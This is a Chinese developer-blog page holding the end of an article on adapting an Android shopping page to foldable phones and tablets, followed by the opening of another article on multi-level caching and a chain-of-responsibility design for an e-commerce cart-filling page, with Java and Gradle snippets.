外屏与直板屏是保持一致的,暂且不讨论。但是内屏 (大屏) 要支持横竖屏切换。如果是一套代码,显然是无法通过 AndroidManifest 文件来实现的。这里其实系统框架已经帮我们实现了对应内屏时横竖屏的逻辑。总结就是,折叠屏可以与直板屏保持一致,在 AndroidManifest.xml 中给 Activity 设置 android:screenOrientation="portrait",如果切换到内屏时,系统自动忽略掉 screenOrientation 属性值,强行支持横竖屏切换。


3)PAD 端:

当然了,并不是所有的项目对应的系统都会自动帮我们忽略 screenOrientation 属性值,这时候就需要我们自己来实现了。


我们通过在 Activity 的基类中设置 setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED),发现确实能够使当前页面横竖屏自由切换了。但是在启动 activity 的时候遇到了问题。当我们从横屏状态 A 界面启动一个 acitivity 的 B 界面时,发现 B 界面先是竖屏,然后切换到了横屏(如图 1 所示)。再试了多次依旧如此,肉眼可见的切换过程显然不能满足我们的需求。这说明通过 java 代码动态调整横竖屏的技术方向是行不通的。综上所述,通过同一份代码无法满足 PAD 端和直板屏的互斥的需求。



那还有没有其他方式呢。别忘了,我们 Android 打包全流程是通过 gradle 完成的,我们是不是可以通过切面编程的思维,针对不同的设备打出不同的包。


方案确定了,在此进行技术验证。


gradle 编译其中一个重要环节就是对依赖的 aar、本地 module 中的 AndroidManifest 文件进行 merge,最终输出一份临时的完整清单文件,存放在 */app/build/intermediates/merged_manifest/**Release / 路径下。


因此,我们可以在 AndroidManifest 文件 merge 完成之后对该临时文件中的 android:screenOrientation 字段值信息进行动态修改,修改完成之后再存回去。这样针对 pad 端就可以单独打出一份 apk 文件。


核心代码如下:

//pad支持横竖屏
def processManifestTask = project.tasks.getByName("processDefaultNewSignPadReleaseManifest");
if (processManifestTask != null) {
processManifestTask.doLast { pmt ->
def manifestPath = pmt.getMultiApkManifestOutputDirectory().get().toString() + "/AndroidManifest.xml"
if (new File(manifestPath).exists()) {
String manifest = file(manifestPath).getText()
manifest = manifest.replaceAll("android:screenOrientation=\"portrait\"", "android:screenOrientation=\"unspecified\"");
file(manifestPath).write(manifest)
println(" =============================================================== manifestPath: " + manifestPath)
}
}
}


(4)apk 的数量


到这里为止,java 代码是完全一致,没有区分的,关键就在于框架有没有提供出忽略 screenOrientation 的能力,如果提供了,我们只需要输出一个 apk,就能适配所有机型,


如果没有这个能力,我们就需要使用 gradle 打出额外的一个 apk,满足可旋转的要求。


3.3.2 一套物料配所有机型


1、等比放大物料

通过上面的落地方案的要求,对于模块 2 的图片,展示效果是不一样的,如下图:

(1)直板手机上面,模块 2 的图片 1 在上面,图片 2、3 分布于左下角和右下角

(2)折叠屏或者 pad 上面,模块 2 的图片 1 在左边,图片 2、3 分布于右侧

(3)折叠屏和 pad 上的模块 2 的图片,相对于直板手机来说,做了样式的调整,上下的样式改为了左右。图片也做了对应的放大,保证横向上可以填充整个屏幕的宽度。



(4)为了形象地表示处理后的效果,看下下面的示意图即可。



2、高度不变,裁剪物料


对于模块 3 的图片,可以回顾 3.2 中的展示样式,要求是

(1)直板手机上面,模块 3 中图片 1 的高度此处为 300px。

(2)折叠屏或者 pad 上面,模块 3 的图片 1 的高度也是 300px,但是内容不能减少。

(3)解决方案就是提供一张原始大图,假如规格为 2400px*300px,在直板手机上左右进行裁剪,如下图所示。折叠屏和 pad 上面直接进行展示。而裁剪这一步,放在服务端进行,因为客户端做裁剪,比较耗时。


(4)为了形象地表示处理后的效果,看下下面的示意图即可。



3.3.4 无感刷新


无感刷新,主要是体现在折叠屏的内外屏切换,pad 的横竖屏旋转这些场景,如何保证页面不会出现切换、旋转时候的闪现呢?

(1)这就要提前准备好数据源,保证在页面变化时,立即 notify。

(2)我们的页面列表最好使用 recyclerview,因为 recyclerview 支持局部刷新。

(3)数据源驱动 UI,千万不要在 UI 层面判断机型做 UI 的动态计算,页面会闪屏,体验不好。



3.4 方案落地实战


上面介绍了不同机型的适配规范,这个没有疑问之后,直接通过案例来看下具体如何实施。



如上图所示,选购页可以大致分为 分类导航栏区域 和 内容区域,其中内容区域是由多个楼层组成。


3.4.1 UI 如何设计的



如图所示,能够直观地感受到,从直板手机到折叠屏内屏再到 Pad 横屏,当设备的可显示面积增大时,页面充分利用空间展示更多的商品信息。


3.4.2 不同设备的区分方式


通过前面的简单介绍,对选购页的整体布局及不同设备上的 UI 展示有所了解,下面来看下如何在多个设备上实现一套代码的适配。


首先第一步,要如何区分不同的设备。

在区分不同的设备前,先看下能够从设备中获得哪些信息?

1)分辨率

2)机型

3)当前屏幕的横、竖状态


先说结论:

  • 直板手机:通过分辨率来区分

  • 折叠屏:通过机型和内外屏状态来区分

  • Pad:通过机型和当前屏幕的横、竖状态来区分


所以这里根据这几个特点,提供一个工具。

不同设备的区分方式。

/** * @function 判断当前手机的屏幕是处于哪个屏幕类型:目前三个屏幕范围:分别为 <= 528dp、528 ~ 696dp、> 696dp,对应的分别是正常直板手机、折叠屏手机内屏和Pad竖屏、和Pad横屏 */public class ScreenTypeUtil {     public static final int NORMAL_SCREEN_MAX_WIDTH_RESOLUTION = 1584; // 正常直板手机:屏幕最大宽度分辨率;Pad的分辨率(1600*2560), 1584 = 528 * 3 528dp是UI在精选页标注的直板手机范围    public static final int MIDDLE_SCREEN_MAX_WIDTH_RESOLUTION = 2088; // 折叠屏手机:屏幕最大宽度分辨率(1916*1964, 旋转:1808*2072),2088 = 696 * 3 2088dp是UI在精选页标注的折叠屏展开范围    public static final int LARGE_SCREEN_MAX_WIDTH_RESOLUTION = 2560; // 大屏幕设备:屏幕宽度暂定为 Pad的高度     public static final int NORMAL_SCREEN = 0; // 正常直版手机屏幕    public static final int MIDDLE_SCREEN = 1; // 折叠屏手机内屏展开、Pad竖屏    public static final int LARGE_SCREEN = 2;  // Pad横屏     public static int getScreenType() {        Configuration configuration = BaseApplication.getApplication().getResources().getConfiguration();        return getScreenType(configuration);    }     // 注意这里的newConfig 在Activity、Fragment、View 中的onConfigurationChanged中获得的newConfig传入,如果获得不了该值,可以使用getScreenType()方法    public static int getScreenType(@NonNull Configuration newConfig) {        // Pad 通过机型标志位及当前处于横竖屏状态 来判断当前屏幕类型        if (SystemInfoUtils.isPadDevice()) {            return newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE ? LARGE_SCREEN : MIDDLE_SCREEN;        }        // Fold折叠屏 通过机型标志及内外屏状态 来判断当前屏幕类型        if (SystemInfoUtils.isFoldableDevice()) {            return SystemInfoUtils.isInnerScreen(newConfig) ? MIDDLE_SCREEN : NORMAL_SCREEN;        }        // 普通手机 通过分辨率判断        return AppInfoUtils.getScreenWidth() <= NORMAL_SCREEN_MAX_WIDTH_RESOLUTION ? NORMAL_SCREEN : (AppInfoUtils.getScreenWidth() <= MIDDLE_SCREEN_MAX_WIDTH_RESOLUTION ? MIDDLE_SCREEN : LARGE_SCREEN);    }}


3.4.3 实现方案


(1)数据源驱动 UI 改变的思想


对于直板手机来说,选购页只有一种状态,保持竖屏展示

对于折叠屏来说,折叠屏可以由内屏切换到外屏,也就涉及到了两种不同状态的切换。


对于 Pad 来说,Pad 支持横竖屏切换,所以也是两种不同状态切换。


当屏幕类型、横竖屏切换、内外屏切换时,Activity\Fragment\View 会调用 onConfigurationChanged 方法,因此针对直板手机、折叠屏及 Pad 可以将数据源的切换放在此处。


无论是哪种设备,最多是只有两种不同的状态,因此,数据源这里可以准备两套:一种是 Normal、一种是 Width,对直板手机而言:因为只有一种竖屏状态,因此只需要一套数据源即可;对折叠屏而言:Normal 存放的是折叠屏外屏数据源,Width 存放的是折叠屏内屏数据源;对 Pad 而言:Normal 存放的是 Pad 竖屏状态数据源,Width 存放的是 Pad 横屏状态数据源。


(2)内容区域


右侧的内容区域是一个 Fragment,在这个 Fragment 里面包含了一个 RecyclerView。


每个子楼层

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    android:id="@+id/root_classify_horizontal"    android:layout_width="match_parent"    android:layout_height="wrap_content"    android:orientation="vertical">     <xxx.widget.HeaderAndFooterRecyclerView        android:id="@+id/shop_product_multi_rv"        android:layout_width="match_parent"        android:layout_height="wrap_content" /> LinearLayout>


每个楼层也是一个单独的 RecyclerView,以楼层 4 为例,楼层 4 的每一行商品都是一个 RecyclerView,每个 RecyclerView 使用 GridLayoutManager 来控制布局的展现列数。


(3)数据源


以折叠屏为例:针对每个子楼层的数据,在解析时,就先准备两套数据源:一种是 Normal、一种是 Width。


在请求网络数据回来后,在解析数据完成后,存放两套数据源。这两套数据源要根据 UI 设计的规则来组装,例如以折叠屏的楼层 4 为例:

折叠屏 - 外屏 - 楼层 4:一行展示 2 个商品信息。

折叠屏 - 内屏 - 楼层 4:一行展示 3 个商品信息。


注意:这里的 2、3 数字是 UI 设计之初就定下来的,每行商品都是一个 RecyclerView,并且使用 GridLayoutManager 来控制其列数,因此这个 2、3 也是传入到 GridLayoutManager 的列数值,这里要保持一致。


子楼层的数据源解析

//这里的normalProductMultiClassifyUiBeanList集合中存放了2个商品信息for (ProductMultiClassifyUiBean productMultiClassifyUiBean : normalProductMultiClassifyUiBeanList) {    productMultiClassifyUiBean.setFirstFloor(isFirstFloor);    shopListDataWrapper.addNormalBaseUiBeans(productMultiClassifyUiBean);}//这里的normalProductMultiClassifyUiBeanList集合中存放了3个商品信息for (ProductMultiClassifyUiBean productMultiClassifyUiBean : widthProductMultiClassifyUiBeanList) {    productMultiClassifyUiBean.setFirstFloor(isFirstFloor);    shopListDataWrapper.addWidthBaseUiBeans(productMultiClassifyUiBean);}


因此,到这里就已经获取了所需的数据源部分


(4)屏幕类型切换

还是以折叠屏为例,折叠屏外屏切换到内屏,此时 Fragment 会走 onConfigurationChanged 方法。


屏幕类型切换 - 数据源切换 - 更新 RecyclerView。

public void onConfigurationChanged(@NonNull Configuration newConfig) {    super.onConfigurationChanged(newConfig);    //1、 首先进行内容区域中的RecyclerViewAdapter、数据源判空    if (mRecyclerViewAdapter == null || mPageBeanAll == null) {        return;    }    //2、判断当前的屏幕类型,注意:这个地方是调用3提供的方法:ScreenTypeUtil.getScreenType(newConfig)    // 直板手机、折叠屏外屏    if (ScreenTypeUtil.NORMAL_SCREEN == ScreenTypeUtil.getScreenType(newConfig)) {        mPageBeanAll.setBaseUiBeans(mPageBeanAll.getNormalBaseUiBeans());    } else if (ScreenTypeUtil.MIDDLE_SCREEN == ScreenTypeUtil.getScreenType(newConfig)) {        if (SystemInfoUtils.isPadDevice()) {            // Pad的竖屏            mPageBeanAll.setBaseUiBeans(mPageBeanAll.getNormalBaseUiBeans());        } else {            // 折叠屏的内屏            mPageBeanAll.setBaseUiBeans(mPageBeanAll.getWidthBaseUiBeans());        }    } else {        // Pad的横屏、大分辨率屏幕        mPageBeanAll.setBaseUiBeans(mPageBeanAll.getWidthBaseUiBeans());    }    //获取当前屏幕类型的最新数据源    mRecyclerViewAdapter.setDataSource(mPageBeanAll.getBaseUiBeans());    //数据源驱动楼层UI改变    mRecyclerViewAdapter.notifyDataSetChanged();}


通过 onConfigurationChanged 方法,能够看到数据源是如何根据不同屏幕类型进行切换的,当数据源切换后,会通过 notifyDataSetChanged 方法来改变 UI。


四、至简之路的铸就


大道至简,遵循规范和原则,就可以想到如何对多机型进行适配,别陷入细节。


以这个作为指导思想,可以做很多其他的适配。下面做些列举,但不讲解实现方式了。


1、文字显示区域放大

如下图所示,标题的长度,在整个容器显示宽度变宽的同时,也跟着一起变化,保证内容的长度可以自适应的变化。


2、弹框样式的兼容

如下图所示,蓝色区域是键盘的高度,在屏幕进行旋转的时候,键盘的高度也是变化的,此时可能会出现遮挡住原本展示的内容,此处的处理方式是:让内容区域可以上下滑动。


3、摄像头位置的处理

如下图所示,在屏幕旋转之后,摄像头可以出现在右下角,此时如果不对页面进行设置,那么就可能出现内容区域无法占据整个屏幕区域的问题,体验比较差,此处的处理方式是:设置页面沉浸式,摄像头可以合理地覆盖一部分内容。



五、我们摆脱困扰了吗


5.1 解决原先的问题


通过前面的介绍,我们知道了,vivo 官网的团队针对折叠屏和 pad 这种大屏,采取了全屏展示的方案,一开始的时候,我们遇到的问题也得到了解决:


(1)开发人员的适配成本高了,是不是针对每一种机型,都要做个单独的应用进行适配呢?

Answer:按照全屏模式的设计方案,折叠屏和 pad 也就是一种大尺寸的机器,开发人员判断机型的分辨率和尺寸,选择一种对应的布局展示就好了,只用一个应用就能搞定。


(2)UI 设计师要做的效果图要多了,是不是要针对每种机型都要设计一套效果图呢?

Answer:制定一套规范,大于某个尺寸时,展示其他样式,所有信息内容都按照这种规范来,不会出现设计混乱的情况。


(3)产品和运营需要选择的物料更受限制了,会不会这个物料在一个机器上正常。在其他机器上就不正常了呢?

Answer:以不变应万变,使用一套物料,适配不同的机型已经可以落地了,不用再担心在不同的机器上展示不统一的问题。


5.2 我们还可以做什么


5.2.1 我们的优点


折叠屏和 pad 两款机器,已经在市面上使用较长时间,各家厂商也纷纷采取了不同的适配方案来提升交互体验,但是往往存在下面几个问题:


1、针对不同机型,采用了不同的安装包。

这种方案,其实会增加维护成本,后期的开发要基于多个安装包去开发,更加耗时。


2、适配了不同的机型,但是在一些场景下的样式不理想。

比如有些 APP 做了分栏的适配,但是没有做全屏的适配,效果就比较差,这里可能也是考虑到了投入产出比。


3、目前的适配指导文档对于开发人员来说指导性较弱。

各种适配指导文档,还是比较偏向于官方,对于开发人员来说,还是无法提前识别问题,遇到问题还是要实际去解决,

https://developer.huawei.com/consumer/cn/doc/90101


基于此,我们的优点如下:


1、我们只有一个安装包。

我们是一个安装包适配所有机型,每种机型的 APP 展示的样式虽然不同,对于开发者来说,就是增加了一个样式,思路比较清晰。


2、全场景适配。

不同机型的纵向、横竖屏切换,都做到了完美适配,一套物料适配所有机型也是我们的一个特色。


3、有针对性地提供适配方案。

本方案是基于实际开发遇到的问题,进行的梳理,可以帮忙开发人员解决实际可能遇到的问题,具备更好的参考性。


5.2.2 我们还有什么要改进


回首方案,我们这里做到的是使用全屏模式去适配不同机型,更多的适用于像京东、淘宝、商城等电商类 APP 上,实际上,现在有些非 APP 会采用分栏的形式做适配,这也是一种跟用户交互的方式,本方案没有提到分栏,后续分栏落地后,对这部分会再进行补充。


作者:vivo 互联网客户端团队- Xu Jie 

收起阅读 »

谈一谈凑单页的那些优雅设计(上)

本文将详细介绍作者如何在业务增长的情况下重构与优化系统设计。写在前面凑单页存在的历史也算是比较悠久了,我从去年接手到现在也经历不少的版本变更,最开始只是简单feeds流,为提升用户体验,更好的帮助用户去凑到满意的商品,我们在重构整个凑单页的同时,还新增了榜单、...
继续阅读 »

本文将详细介绍作者如何在业务增长的情况下重构与优化系统设计。

写在前面

凑单页存在的历史也算是比较悠久了,我从去年接手到现在也经历不少的版本变更,最开始只是简单feeds流,为提升用户体验,更好的帮助用户去凑到满意的商品,我们在重构整个凑单页的同时,还新增了榜单、限时秒杀模块,在双十一期间,加购率和转化率得到明显提升。今年618还新增了凑单进度购物栏模块,支持了实时凑单进度展示以及结算下单的能力,提升用户凑单体验。并且在凑单页完成业务迭代的同时,也一路沉淀了些通用的能力支撑其他业务快速迭代,本文我将详细介绍我是如何在业务增长的情况下重构与优化系统设计的。


针对一些段时间内不会变化的,数量比较有限的数据,为了减少下游的压力,并提高自身系统的性能,我们常常会使用多级缓存来达到该目的。最常见的就是本地缓存 + redis缓存来承接,如果本地缓存不存在,则取redis缓存的数据,并本地缓存起来,如果redis也不存在,则再从数据源获取,基本代码(获取榜单数据)如下:

return LOCAL_CACHE.get(key, () -> {
  String cache = rdbCommonTairCluster.get(key);
  if (StringUtils.isNotBlank(cache)) {
      return JSON.parseObject(cache, new TypeReference<List<ItemShow>>(){});
  }
  List<ItemShow> itemShows = getRankingItemOriginal(context, rankingRequest);
  rdbCommonTairCluster.set(key, JSON.toJSONString(itemShows), new SetParams().ex(CommonSwitch.rankingExpireSecond));
  return itemShows;
});

逐渐的就出现了问题,线上偶现某些用户一段时间看不到榜单模块。榜单模块示意图如下:


这种问题排查起来最是棘手,需要一定的项目经验,我第一次遇到这类问题也是费了老大劲。总结一下,如果某次缓存过期,下游服务刚好返回了空结果,就会导致本次请求被缓存了空结果。那该缓存的生命周期内,榜单模块都会消失,但由于某些机器本地缓存还有旧数据,就会导致部分用户能看到,部分用户看不到的场景。

下面来看看我是如何优化的。核心主要关注:区分下游返回的结果是真的空还是假的空,本身就为空的情况下,就该缓存空集合(非大促期间或者某些榜没有数据,数据本身就为空)


在redis中拉长value缓存的时间,同时新增一个可更新时间的缓存(比如60s过期),当判断更新时间缓存过期了,就重新读取数据源,将value值重新赋值,这里需要注意,我会对比新老数据,如果新数据为空,老数据不为空,则只是更新时间,不置换value。value随着自己的过期时间结束,改造后的代码如下:

return LOCAL_CACHE.get(key, () -> {
  String updateKey = getUpdateKey(key);
  String value = rdbCommonTairCluster.get(key);
  List<ItemShow> cache = StringUtils.isBlank(cache) ? Collections.emptyList()
      : JSON.parseObject(value, new TypeReference<List<ItemShow>>(){});
  if (rdbCommonTairCluster.exists(updateKey)) {
      return cache;
  }
  rdbCommonTairCluster.set(updateKey, currentTime, cacheUpdateSecond);
  List<ItemShow> itemShows = getRankingItemOriginal(context, rankingRequest);
  if (CollectionUtils.isNotEmpty(itemShows)) {
      rdbCommonTairCluster.set(key, JSON.toJSONString(itemShows), new SetParams().ex(CommonSwitch.rankingExpireSecond));
  }
  return itemShows;
});

为了使这段代码能够复用,我将该多级缓存抽象出来一个独立对象,代码如下:

public class GatherCache<V> {
  @Setter
  private Cache<String, List<V>> localCache;
  @Setter
  private CenterCache centerCache;

  public List<V> get(boolean needCache, String key, @NonNull Callable<List<V>> loader, Function<String, List<V>> parse) {
      try {
          // 是否需要是否缓存
          return needCache ? localCache.get(key, () -> getCenter(key, loader, parse)) : loader.call();
      } catch (Throwable e) {
          GatherContext.error(this.getClass().getSimpleName() + " get catch exception", e);
      }
      return Collections.emptyList();
  }

  private List<V> getCenter(String key, Callable<List<V>> loader, Function<String, List<V>> parse) throws Exception {
      String updateKey = getUpdateKey(key);
      String value = centerCache.get(key);
      boolean blankValue = StringUtils.isBlank(value);
      List<V> cache = blankValue ? Collections.emptyList() : parse.apply(value);
      if (centerCache.exists(updateKey)) {
          return cache;
      }
      centerCache.set(updateKey, currentTime, cacheUpdateSecond);
      List<V> newCache = loader.call();
      if (CollectionUtils.isNotEmpty(newCache)) {
          centerCache.set(key, JSON.toJSONString(newCache), cacheExpireSecond);
      }
      return newCache;
  }
}

将从数据源获取数据的代码交与外部实现,使用Callable的形式,同时通过泛型约束数据源类型,这里还有一点瑕疵还没得到解决,就是通过fastJson转换String到对象时,没法使用泛型直接转,我这里就采用了外部化的处理,就是跟获取数据源方式一样,由外部来决定如何解析从redis中获取到的字符串value。调用方式如下:

List<ItemShow> itemShowList = gatherCache.get(true, rankingRequest.getKey(),
  () -> getRankingItemOriginal(rankingRequest, context.getRequestContext()),
  v -> JSON.parseObject(v, new TypeReference<List<ItemShow>>() {}));

同时我还采用的建造者模式,方便gatherCache类快速生成,代码如下:

@PostConstruct
public void init() {
  this.gatherCache = GatherCacheBuilder.newBuilder()
      .localMaximumSize(500)
      .localExpireAfterWriteSeconds(30)
      .build(rdbCenterCache);
}

以上的代码相对比较完美了,却忽略了一个细节点,如果多台机器的本地缓存同时失效,恰好redis的可更新时间失效了,这时就会有多个请求并发打到下游(由于凑单有本地缓存兜底,并发打到下游的个数非常有限,基本可以忽略)。但遇到问题就需要去解决,追求完美代码。我做了如下的改造:

private List<V> getCenter(String key, Callable<List<V>> loader, Function<String, List<V>> parse) throws Exception {
  String updateKey = getUpdateKey(key);
  String value = centerCache.get(key);
  boolean blankValue = StringUtils.isBlank(value);
  List<V> cache = blankValue ? Collections.emptyList() : parse.apply(value);
  // 如果抢不到锁,并且value没有过期
  if (!centerCache.setNx(updateKey, currentTime) && !blankValue) {
      return cache;
  }
  centerCache.set(updateKey, currentTime, cacheUpdateSecond);
  // 使用异步线程去更新value
  CompletableFuture.runAsync(() -> updateCache(key, loader));
  return cache;
}

private void updateCache(String key, Callable<List<V>> loader) {
  List<V> newCache = loader.call();
  if (CollectionUtils.isNotEmpty(newCache)) {
    centerCache.set(key, JSON.toJSONString(newCache), cacheExpireSecond);
  }
}

本方案使用分布式锁 + 异步线程的方式来处理更新。只会有一个请求抢到更新锁,并发情况下,其他请求在可更新时间段内还是返回老数据。由于redis封装的方法中并没有抢锁后同时设置过期时间的原子性操作,我这里用了先抢锁,再赋值过期时间的方式,在极端场景下可能会出现死锁的情况,就是刚好抢到了锁,然后机器出现异常宕机,导致过期时间没有赋值上去,就会出现永远无法更新的情况。这种情况虽然极端,但还是要解,以下是我能想到的两个方案,我选择了第二种方式:

  1. 通过使用lua脚本将两步操作合成一个原子性操作

  2. 利用value的过期时间来解该死锁问题


P.S. 一些从ThreadLocal中拿的通用信息,在使用异步线程处理的时候是拿不到的,得重新赋值

凑单核心处理流程设计

凑单本身是没有自己的数据源的,都是从其他服务读取,做各种加工后展示。这样的代码是最好写的,也是最难写的。就好比最简单的组装商品信息,一般的代码都会这么写:

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  itemShow.setItemId(NumberUtils.createLong(v.get("itemId")));
  itemShow.setItemImg(v.get("pic"));
  // 获取利益点
  GuideInfoDTO guideInfoDTO = new GuideInfoDTO();
  AtmosphereResult<Map<Long, List<AtmosphereFullDTO>>> atmosphereResult = guideAtmosphereClient
      .extract(guideInfoDTO, "gather", "item");
  List<IconText> iconTexts = parseAtmosphere(atmosphereResult);
  itemShow.setItemBenefits(iconTexts);
  // 预售处理
  String preSalePrice = getPreSale(v);
  if (Objects.nonNull(preSalePrice)) {
      itemShow.setItemPrice(preSalePrice);
  }
  // ......
  return itemShow;
}).collect(Collectors.toList());

能快速写好代码并投入使用,但代码有点杂乱无章,对代码要求比较高的开发者可能会做如下的改进

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  buildCommon(itemShow, v);
  // 获取利益点
  buildAtmosphere(itemShow, v);
  // 预售处理
  buildPreSale(itemShow, v);
  // ......
  return itemShow;
}).collect(Collectors.toList());

一般这样的代码算是比较优质的处理了,但这仅仅是针对单个业务,如果遇到多个业务需要使用该组装后,最简单但就是需要判断是来自feeds流模块的请求商品组装不需要利益点,来自前N秒杀模块的不需要处理预售价格。

// 获取推荐商品
List<Map<String, String>> summaryItemList = recommend();
List<ItemShow> itemShowList = summaryItemList.stream().map(v -> {
  ItemShow itemShow = new ItemShow();
  // 设置商品基本信息
  buildCommon(itemShow, v);
  // 获取利益点
  if (!Objects.equals(soluction, FiltrateFeedsSolution.class)) {
      buildAtmosphere(itemShow, v);
  }
  // 预售处理
  if (!Objects.equals(source, "seckill")) {
      buildPreSale(itemShow, v);
  }
  // ......
  return itemShow;
}).collect(Collectors.toList());

该方案可以清晰看到整个主流程的分流结构,但会使得主流程不够整洁,降低可读性,很多人都习惯把该判断写到各自的方法里如下。(当然也有人每个模块都单独写一个主流程,以上只是为了文章易懂简化了代码,实际主流程较长,并且大部分都是需要处理的,如果每个模块都单独自己创建主流程,会带来很多重复代码,不推荐)

private void buildAtmosphere(ItemShow itemShow, Map<String, String> map) {
  if (Objects.equals(soluction, FiltrateFeedsSolution.class)) {
      return;
  }
  GuideInfoDTO guideInfoDTO = new GuideInfoDTO();
  AtmosphereResult<Map<Long, List<AtmosphereFullDTO>>> atmosphereResult = guideAtmosphereClient
      .extract(guideInfoDTO, "gather", "item");
  List<IconText> iconTexts = parseAtmosphere(atmosphereResult);
  itemShow.setItemBenefits(iconTexts);
}

纵观整个凑单的业务逻辑,不管是参数组装,商品组装,购物车组装,榜单组装,都需要信息组装的能力,并且他们都有如下的特性:

  1. 每个或每几个字段的组装都不影响其他字段,就算出现异常也不应该影响其他字段的拼装

  2. 在消费者链路下,性能的要求会比较高,能不用访问的组装逻辑就不去访问,能不调用下游,就不去调用下游

  3. 如果在组装的过程中发现有写字段是必须要的,但没有补全,则提前终止流程

  4. 每个方法的处理需要记录耗时,开发能清楚的知道耗时在哪些地方,方便找到需要优化的代码

以上的点都很小,不做或者单独做都不影响整体,凑单页含有这么多组装逻辑的情况下,如果以上逻辑全部都写一遍,将产生大量的冗余代码。但对自己代码要求比较高的人来说,这些点不加上去,心里总感觉有根刺在。慢慢的就会因为自己之前设计考虑的不全,打各种补丁,就好比想知道某个方法的耗时,就会写如下代码:

long startTime = System.currentTimeMillis();
// 主要处理
buildAtmosphere(itemShow, summaryMap);
long endTime = System.currentTimeMillis();
return endTime - startTime;

凑单各域都是做此类型的组装,有商品组装,参数组装,榜单组装,购物车组装。针对凑单业务的特性,寻遍各类设计模式,最终选择了责任链 + 命令模式。

在 GoF 的《设计模式》中,责任链模式是这么定义的:

将请求的发送和接收解耦,让多个接收对象都有机会处理这个请求。将这些接收对象串成一条链,并沿着这条链传递这个请求,

直到链上的某个接收对象能够处理它为止。

*首先,我们来看,职责链模式如何应对代码的复杂性。*

将大块代码逻辑拆分成函数,将大类拆分成小类,是应对代码复杂性的常用方法。应用职责链模式,我们把各个商品组装继续拆分出来,设计成独立的类,进一步简化了商品组装类,让类的代码不会过多,过复杂。

*其次,我们再来看,职责链模式如何让代码满足开闭原则,提高代码的扩展性。*

当我们要扩展新的组装逻辑的时候,比如,我们还需要增加价格隐藏过滤,按照非职责链模式的代码实现方式,我们需要修改主类的代码,违反开闭原则。不过,这样的修改还算比较集中,也是可以接受的。而职责链模式的实现方式更加优雅,只需要新添加一个Command 类(实际处理类采用了命令模式做一些业务定制的扩展),并且通过 addCommand() 函数将它添加到 Chain 中即可,其他代码完全不需要修改。

接下来就是使用该模式,对凑单全域进行改造升级,核心架构图如下


各个域需要满足如下条件:

  1. 支持单个处理和批量处理

  2. 支持提前阻断

  3. 支持前置判断是否需要处理

处理类类图如下


【ChainBaseHandler】:核心处理类

【CartHandler】:加购域处理类

【ItemSupplementHandler】:商品域处理类

【RankingHandler】:榜单域处理类

【RequestHanlder】:参数域处理类

我们首先来看核心处理层:

public class ChainBaseHandler<T extends Context> {
  /**
    * 任务执行
    * @param context
    */
  public void execute(T context) {
      List<String> executeCommands = Lists.newArrayList();
      for (Command<T> c : commands) {
          try {
              // 前置校验
              if (!c.check(context)) {
                  continue;
              }
              // 执行
              boolean isContinue = timeConsuming(() -> execute(context, c), c, executeCommands);
              if (!isContinue) {
                  break;
              }
          } catch (Throwable e) {
              // 打印异常信息
              GatherContext.debug("exception", c.getClass().getSimpleName());
              GatherContext.error(c.getClass().getSimpleName() + " catch exception", e);
          }
      }
      // 打印个命令任务耗时
      GatherContext.debug(this.getClass().getSimpleName() + "-execute", executeCommands);
  }
}

中间的timeConsuming方法用来计算耗时,耗时需要前后包裹执行方法

private boolean timeConsuming(Supplier<Boolean> supplier, Command<T> c, List<String> executeCommands) {
  long startTime = System.currentTimeMillis();
  boolean isContinue = supplier.get();
  long endTime = System.currentTimeMillis();
  long timeConsuming = endTime - startTime;
  executeCommands.add(c.getClass().getSimpleName() + ":" + timeConsuming);
  return isContinue;
}

具体执行如下:

/**
* 执行每个命令
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(Context context, Command<T> c) {
  if (context instanceof MuchContext) {
      return execute((MuchContext<D>) context, c);
  }
  if (context instanceof OneContext) {
      return execute((OneContext<D>) context, c);
  }
  return true;
}

/**
* 单数据执行
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(OneContext<D> oneContext, Command<T> c) {
  if (Objects.isNull(oneContext.getData())) {
      return false;
  }
  if (c instanceof CommonCommand) {
      return ((CommonCommand<OneContext<D>>) c).execute(oneContext);
  }
  return true;
}

/**
* 批量数据执行
* @return 是否继续执行
*/
private <D extends ContextData> boolean execute(MuchContext<D> muchContext, Command<T> c) {
  if (CollectionUtils.isEmpty(muchContext.getData())) {
      return false;
  }
  if (c instanceof SingleCommand) {
      muchContext.getData().forEach(data -> ((SingleCommand<MuchContext<D>, D>) c).execute(data, muchContext));
      return true;
  }
  if (c instanceof CommonCommand) {
      return ((CommonCommand<MuchContext<D>>) c).execute(muchContext);
  }
  return true;

入参都是统一的context,其中的data为需要拼装的数据。类图如下


MuchContext(多值的数据拼装上下文),data是个集合

public class MuchContext<D extends ContextData> implements Context {

  protected List<D> data;

  public void addData(D d) {
      if (CollectionUtils.isEmpty(this.data)) {
          this.data = Lists.newArrayList();
      }
      this.data.add(d);
  }

  public List<D> getData() {
      if (Objects.isNull(this.data)) {
          this.data = Lists.newArrayList();
      }
      return this.data;
  }
}

OneContext(单值的数据拼装上下文),data是个对象

public class OneContext <D extends ContextData> implements Context {
  protected D data;
}

各域可根据自己需要实现,各个实现的context也使用了领域模型的思想,将对入参的一些操作封装在此,简化各个命令处理器的获取成本。举个例子,比如入参是一系列操作集合 List<HandleItem> handle。但实际使用是需要区分各个操作,那我们就需要在context中做好初始化,方便获取:

private void buildHandle() {
  // 勾选操作集合
  this.checkedHandleMap = Maps.newHashMap();
  // 去勾选操作集合
  this.nonCheckedHandleMap = Maps.newHashMap();
  // 修改操作集合
  this.modifyHandleMap = Maps.newHashMap();
  Optional.ofNullable(requestContext.getExtParam())
      .map(CartExtParam::getHandle)
      .ifPresent(o -> o.forEach(v -> {
          if (Objects.equals(v.getType(), CartHandleType.checked)) {
              checkedHandleMap.put(v.getCartId(), v);
          }
          if (Objects.equals(v.getType(), CartHandleType.nonChecked)) {
              nonCheckedHandleMap.put(v.getCartId(), v);
          }
          if (Objects.equals(v.getType(), CartHandleType.modify)) {
              modifyHandleMap.put(v.getCartId(), v);
          }
